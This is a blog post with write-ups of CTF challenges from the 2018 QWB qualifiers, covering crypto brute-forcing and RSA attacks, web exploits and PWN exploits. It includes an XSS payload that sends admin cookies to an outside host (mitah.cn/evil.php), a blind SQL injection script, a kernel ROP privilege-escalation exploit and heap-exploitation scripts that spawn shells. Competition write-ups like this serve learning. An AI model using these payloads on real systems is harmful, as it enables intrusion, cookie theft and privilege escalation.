Kyr1os' Blog

May the wind guide your road

0%

强网杯2018线上赛 CNSS Writeup


最后勉强打进线下赛。整合一波本次强网杯2018的CNSS线上赛wp。

Misc


Welcome

丢进stegsolve,选择隐写分析,讲图片分成两份,其中一份右移100像素可以看到flag

QWB{W3lc0me}


Crypto


streamgame1

因为给出了key,而明文空间较小,所以写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b1111111111111111111
mask = 0b1010011000100011100
key = [0x55,0x38,0xF7,0x42,0xC1,0x0D,0xB2,0xC7,0xED,0xE0,0x24,0x3A]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag

flag{1110101100001101011}


streamgame2

flag长了一点但是可以接受,还是爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0x100002
key = [0xB2,0xE9,0x0E,0x13,0xA0,0x6A,0x1B,0xFC,0x40,0xE6,0x7D,0x53]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag

flag{110111100101001101001}


streamgame3

查了资料像是一个魔改的A5算法,single_round中有一个逻辑表达式(x1*x2)^((x2^1)*x3),真值表如下:

x1 x2 x3 v
0 0 0 0
0 0 1 1
0 1 0 0
0 1 1 0
1 0 0 0
1 0 1 1
1 1 0 1
1 1 1 1

经观察,x1 == x3的时候,v = x1 = x3。R1,R2,R3相互独立,三个mask参数为常数值。又因为有两个assert限制了R1和R3的长度分别为4和5位十六进制位,故先尝试爆破R1和R3。脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def read2bin(s):
res = ""
for i in s[0:64*1024]:
x = str(bin(ord(i)))[2:]
res = res + "0"*(8-len(x)) + x
return res

def lfsr(R,mask):
i = R & mask
res = 0
while i != 0:
i &= (i-1)
res += 1
lastbit = res % 2
output = ((R << 1) & 0xffffff) ^ lastbit
return (output,lastbit)

def single_round(R1,R3):
(R1_NEW,x1)=lfsr(R1,0x10020)
(R3_NEW,x3)=lfsr(R3,0x100002)
return (R1_NEW,R3_NEW,x1,x3)

def work(flag, flagi, flagj, std):
R1=0x10000+flagi
R3=0x100000+flagj
res=""
x1=""
x3=""
sign=True
for i in range(0,len(std)):
(R1,R3,x1,x3) = single_round(R1,R3)
if x1 == x3 and str(x1) != str(std[i]):
sign = False
break
if sign:
print("Success!"+flag)

fl = open('0', 'rb')
std = read2bin(str(fl.read(),encoding="latin1"))
fl.close()

print("Read STD : %s..."%std[0:24])
print("Read STD Len: %d"%len(std))

outputinterval = 0x1000

for i in range(0xb9cb,0x10000)[proc_id::nthread]:
if i % outputinterval == 0:
print("Testing: flag{01"+"%04x"%i+"******"+"1?????}")
for j in range(0x6b2f3,0x100000):
flag = "flag{01"+"%04x"%i+"******"+"1"+"%05x"%j+"}"
work(flag, i, j, std)

其中优化了一部分lfsr的运算,去掉了R2的部分,又加了多线程还是跑了很久,终于得到了flag的R1和R3部分:flag{01b9cb******16b2f3}

然后爆破中间五位,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def work(flag, flagR2, std):
R1=0x1b9cb
R2=flagR2
R3=0x16b2f3
sign=True
x1=""
x3=""
for i in range(0,len(std)):
(R1,R2,R3,out,x1,x3) = single_round(R1,R2,R3)
if str(out) != str(std[i]):
# print("%s failed at pos=%d, out=%d, std=%c, x1=%d, x3=%d"%(flag,i,out,std[i],x1,x3))
sign = False
break
if sign:
print("Success!"+flag)

for i in range(1<<18,1<<19)[proc_id::nthread]:
flag = "flag{01b9cb"+"%06x"%i+"16b2f3}"
work(flag, i, std)

得到flag: flag{01b9cb05979c16b2f3}


streamgame4

还是直接爆破,这里的key验证前12字节足矣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def nlfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0b110110011011001101110
key = [0xd1, 0xd9, 0x40, 0x43, 0x93, 0x53, 0x1e, 0x5e, 0x4d, 0xc7, 0xd0, 0xca]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag
flag{100100111010101101011}


nextrsa

Level 1

n 很小,可以直接分解

Level 2

n, e 非常大,猜测是低解密指数攻击(d 很小),用 Wiener attack(https://github.com/pablocelayes/rsa-wiener-attack)

Level 3

e = 3, M = m + x, m 和 c 已知,x 为 64bit 内的小整数。

因为已经知道了 M 的高位,所以直接 Coppersmith method 攻击。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x) ^ e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print roots
## coppersmith_howgrave_univariate 函数来自于 https://github.com/mimoo/RSA-and-LLL-attacks

Level 4

已知 n=p×q,z=nextprime(p)×nextprime(q)

枚举 \(\Delta p\), \(\Delta q\), 则有方程

\(pq=n\)

\((p+\Delta p)(q+\Delta q)=z\)

可以化简得一个关于 p(或 q)的一元二次方程

\(\Delta p \cdot q^2+(n+\Delta p\cdot \Delta q-z)q+\Delta q\cdot n=0\)

然后验证\(\Delta=b^2-4ac\)能否开根,以及验证两个方程解是否为正整数就行了。根据素数密度\(\pi(n) \sim n \ln n\)\(\Delta\) 不会太大,最终解出来也就 1000 多。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def work(i, j):
A = i
B = n + i * j - z
C = j * n
delta = B * B - 4 * A * C
if delta < 0:
return
root_delta = root2(delta) ## 开平方根
if root_delta == -1:
return
for k in range(-1, 2, 2):
top = -B + k * root_delta
if top % (A << 1) == 0:
q = top // (A << 1)
if q > 0 and n % q == 0:
print("p:", n // q)
print("q:", q)
exit(0)
for ma in range(1, 100000):
for i in range(1, ma + 1):
work(i, ma)
print(ma, "Finished")

Level 5

n 含有小因子,直接 yafu 暴力分解

Level 6

\(m^3 = c + kn\)。爆破 k 尝试开三次根,最终的 k 大概 70000+。核心代码:

1
2
3
4
5
6
while True:
res = root3(c) ## 开三次根
if res != -1:
print(res)
break
c += n

Level 7

n1, n2 含有公因子,所以直接 gcd(n1, n2) 得到公共因子

Level 8

共模攻击,扩展欧几里得解 \(xe_1+ye_2=1\),然后就有\(c1^xc2^y\equiv m^{xe_1+ye_2} \equiv m\),所以有 m = pow(c1, x, n) * pow(c2, y, n) % n,要注意一下 x, y 的正负号,如果为负数,则对对应的 c 取模 n 意义下的逆元。核心代码:

1
2
3
4
5
6
7
8
9
10
g, x, y = ex_gcd(e1, e2)
if x < 0:
c1 = inv(c1, n)
x = -x
if y < 0:
c2 = inv(c2, n)
y = -y
print(e1, e2)
print(x, y)
print(hex(pow(c1, x, n) * pow(c2, y, n) % n))

Level 9

e=3,低指数加密,给了三组样本,所以直接中国剩余定理合并同余式子,最后开三次根就行。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
def china_remain(eq):
A = 0
M = 1
for x in eq:
M *= x[1]
for ai, mi in eq:
Mi = M // mi
g, Mi_inv, k = ex_gcd(Mi, mi)
A = (A + ai * Mi_inv * Mi) % M
return [A, M]

res = china_remain([(c1, n1), (c2, n2), (c3, n3)])
print(hex(root3(res[0])))

flag{s1mp13_rs4_f0r_y0u_+_h4pp9_f0r_qwb}


Web


web签到

两个php小技巧和一个md5碰撞

第一个利用0e开头md5值bypass

第二个用数组bypass

第三个去找一个真正的md5碰撞,python写脚本发包即可

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from binascii import unhexlify

data1 = {
"param1": "QNKCDZO",
"param2": "240610708"
}

data2 = {
"param1[]": "1",
"param2[]": "2"
}

data3 = {
"param1": b'Oded Goldreich\nOded Goldreich\nOded Goldreich\nOded Go' + unhexlify('d8050d0019bb9318924caa96dce35cb835b349e144e98c50c22cf461244a4064bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf67c12978647f5af123de3acf844085cd025b956'),
"param2": b'Neal Koblitz\nNeal Koblitz\nNeal Koblitz\nNeal Koblitz\n' + unhexlify('75b80e0035f3d2c909af1baddce35cb835b349e144e88c50c22cf461244a40e4bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf6fc11978647f5af123de3acf84408dcd025b956')
}

url = "http://39.107.33.96:10000/index.php"

u = req`uests.session()

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data1)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data2)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data3)
print(s.text)

运行脚本得到flag:

QWB{s1gns1gns1gnaftermd5}


Share your mind

可以看到有一个 js 文件是相对路径导入的
利用 RPO 构造 XSS
写一个 alert(/xss/)

部分字符会被HTML编码 用 String.fromCharCode 可以绕过
打一下 admin 的 cookie

1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
http://39.107.33.96:20000/index.php/view/article/31568/..%2f..%2f..%2f
直接把链接 Report 过去就有回显
得到一个 HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

写一个 iframe src 过去读 cookie 就能获得 flag

1
var iframe = document.createElement('iframe'); iframe.src="/QWB_fl4g/QWB/"; document.body.appendChild(iframe); iframe.onload = function(){window.location.href="http://mitah.cn/evil.php?c="+iframe.contentWindow.document.cookie;};
1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 105, 102, 114, 97, 109, 101, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 125, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
http://39.107.33.96:20000/index.php/view/article/31663/..%2f..%2f..%2f Repost 链接过去 就能收到 cookie 即 flag

QWB{flag_is_f43kth4rpo}


Three hit

二次注入/盲注,注入点在 age
注册的时候 age 被 is_numeric 了
可以 hexlify 一下绕过
跑一下脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import hashlib
import requests
import re
import random
import time
import threading
import binascii


def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()

log = "http://39.107.32.29:10000/index.php?func=login"
reg = "http://39.107.32.29:10000/index.php?func=register"
pro = "http://39.107.32.29:10000/profile.php"

def register():
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
return [usr, "werewr123"]


def a(payload):
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
## print('[Session start]')
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
## print("[Registered]")
s.post(log, data={'username': usr, 'password': "werewr123"})
## print("[Log in]")
return s.get(pro).text


def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "1234567889 and 1=if((ord(substr(({}),{},1)))>{},1,0)"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = a("0x" + str(binascii.hexlify(payload.format(cont, pos, mid).encode()).decode()))
if 'is also in age' in text:
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)


def sqli(cont):
print("[Start]")
sz = 40
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)


## db = sqli("SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata")
## print(db)
## qwb

## table = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='qwb'")
## print(table)
## flag,users

## col = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'")
## print(col)
## flag

## res = sqli("select group_concat(flag) from flag")
## print(res)
## QWB{M0b4iDalao0rz0rz}

QWB{M0b4iDalao0rz0rz}


彩蛋

首先web.xml找到

http://106.75.97.46:8080/phrackCTF/druid/

并附上登录帐号:admin,密码:SgK1xfVxTk

登录进去,发现数据库帐号密码,远程连接

psql --host=106.75.97.46 --username=postgres --no-password

拿到数据库,udf提权,在根目录找到flag

select sys_eval("cat /flag_is_here");

拿到flag

QWB{jarv1s0j13p5ettyg006}


Python is the best language 1

注册登录进去,input的框可以注入,理论上可以脚本跑,但是平台卡成狗,就直接手跑了

payload:

1'+ord(substr((select fllllllag from flaaaaaag),1,1))+'1

哪个表哪个列不记得了,flag

QWB{us1ng_val1dator_caut1ous}


PWN


core

开了kaslr,没开smep,但是在/tmp目录下有个诡异的文件,可以泄露内核函数地址,然后copy那里长度为负数会溢出,read函数会leak 模块的canary,所以直接rop就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>


#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

#define u64 unsigned long long

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
system("/bin/sh");
}

u64 prepare_kernel_cred_addr = 0x0;//0xffffffff8109cce0;
u64 commit_creds_addr = 0x0;//0xffffffff8109c8e0;
void set_uid()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}

u64 rop[] = {

// padding
0xdeadbeefdeadbeef, //0
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef, //7

0x0, // canary
0xdeadbeefdeadbeef, //rbp
0x6161616161616161, // 10 ret addr
0x0, // uid ret addr
0x0, // padding
0x0, // leakd addr ? 13
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};

int main(int argc,char** argv)
{
sscanf(argv[1],"%llx",&prepare_kernel_cred_addr);
sscanf(argv[2],"%llx",&commit_creds_addr);
char s[100];
char* leak = (char*)malloc(1024);
int fd = open("/proc/core",O_RDWR);
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,leak);
u64 canary = ((u64*)leak)[0];
u64 ret_addr = ((u64*)leak)[2];
//printf("leak ret addr %llu\n",canary);
rop[8] = canary;
rop[10] = &set_uid;
rop[11] = ret_addr - 0xc5;
rop[12] = &s - 0x100;

u64 iret_addr = prepare_kernel_cred_addr - 311838;
save_state();
rop[13] = iret_addr;
rop[14] = &get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = &s - 0x100;
rop[18] = user_ss;
write(fd,rop,1024);
ioctl(fd,COMMAND_COPY,0x8000000000000100);

return 0;
}


raisepig

fastbin attack修改topchunk,把它改到 free_hook附近,通过申请内存修改free_hook getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 1

## 程序名
PROGRAM_NAME = './raisepig'

## libc
REMOTE_LIBC = True

## 地址
IP = '39.107.32.132'

PORT = 9999
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret


def raise_pig(program, size, s, pig_type='a!\n'):
program.recvuntil('Your choice : ')
program.sendline('1')
program.recvuntil('Length of the name :')
program.sendline(str(size))
program.recvuntil('The name of pig :')
program.send(s)
program.recvuntil('The type of the pig :')
program.send(pig_type)

def visit_pigs(program):
program.recvuntil('Your choice : ')
program.sendline('2')

def eat_pig(program, idx):
program.recvuntil('Your choice : ')
program.sendline('3')
program.recvuntil('Which pig do you want to eat:')
program.sendline(str(idx))




def get_shell(ip='', port=0):
## 设置断点

breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'

global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}

system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30




if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)

raise_pig(program, 0x28, '1') ## 0
raise_pig(program, 130, '1') ## 1
raise_pig(program, 1, '1') ## 2
eat_pig(program, 0)
eat_pig(program, 1)
raise_pig(program, 130, '1') ## 3
visit_pigs(program)
program.recvuntil('Name[3] :')
libc_ptr = u64(program.recvuntil('\n')[:-1].ljust(8, '\x00'))
libc_addr = libc_ptr - libc_ptr_offset
log.info('libc_addr=0x%x' % libc_addr)
raise_pig(program, 0x68, '1') ## 4
raise_pig(program, 0x68, '1') ## 5
eat_pig(program, 4)
eat_pig(program, 5)
eat_pig(program, 4)
raise_pig(program, 0x68, p64(0x40)) ## 6
raise_pig(program, 0x68, '1') ## 7
raise_pig(program, 0x68, '1') ## 8
raise_pig(program, 0x100, '/bin/sh\x00') ## 9


raise_pig(program, 0x38, '1') ## 10
raise_pig(program, 0x38, '1') ## 11
eat_pig(program, 10)
eat_pig(program, 11)
eat_pig(program, 10)
raise_pig(program, 0x38, p64(libc_addr + main_arena_offset + fastbin_0x70_offset - 0x8)) ## 12
raise_pig(program, 0x38, '1') ## 13
raise_pig(program, 0x38, '1') ## 14
log.info('0x%x' % (libc_addr + main_arena_offset))
log.info('0x%x' % (libc_addr))
log.info('0x%x' % (main_arena_offset))
raise_pig(program, 0x38, '\x00'*0x20 + p64(libc_addr + __free_hook_offset - 0xb58)) ## 15


size = 0xb58
while size > 0x3b0 + 0x30:
size -= 0x3b0 + 0x30
raise_pig(program, 0x3a8, '1')
log.info(hex(size)) ## size=0x318
raise_pig(program, size-0x30, '\x00'*(size- 0x30 - 0x10) + p64(system_offset + libc_addr)) ## 13
raw_input()
eat_pig(program, 9)
#raise_pig(program, size, '1') ## 15

return program

def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)

program.interactive()

elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')

recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()



if __name__ == '__main__':
main()
qwbctf{ok_now_you_know_how2_raise_a_pig}


silent

fastbin attack修改got表...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 0

## 程序名
PROGRAM_NAME = './silent'

## libc
REMOTE_LIBC = False

## 地址
IP = '39.107.32.132'

PORT = 10000
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret


def get_chunk(program, size, s):
program.sendline('1')
program.sendline(str(size))
program.sendline(s.ljust(size - 2, 'a'))

def free_chunk(program, idx):
program.sendline('2')
program.sendline(str(idx))

def edit_chunk(program, idx, s, bss_s='/bin/sh\x00'):
program.sendline('3')
program.sendline(str(idx))
program.send(s)
program.sendline(bss_s.ljust(48 - 2, '\x00'))





def get_shell(ip='', port=0):
## 设置断点

breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'

global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}

system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30




if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)


get_chunk(program, 0x68, 'a') ## 0
get_chunk(program, 0x68, 'a') ## 1
free_chunk(program, 0)
free_chunk(program, 1)
free_chunk(program, 0)

gdb.attach(program)
raw_input()

edit_chunk(program, 0, '\x9d\x20\x60\x00') ## stderr p64(0x6020a0 + 5 - 8) 0x60209d
get_chunk(program, 0x68, 'a') ## 2
get_chunk(program, 0x68, '\x00'*19 + p64(0x602018) + p64(0x0602120) + '\x00'*4*10) ## 4
#gdb.attach(program)
raw_input()
edit_chunk(program, 0, '\x30\x07\x40\x00\x00\x00') ## 0x0400730 system
raw_input()

free_chunk(program, 1)

return program

def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
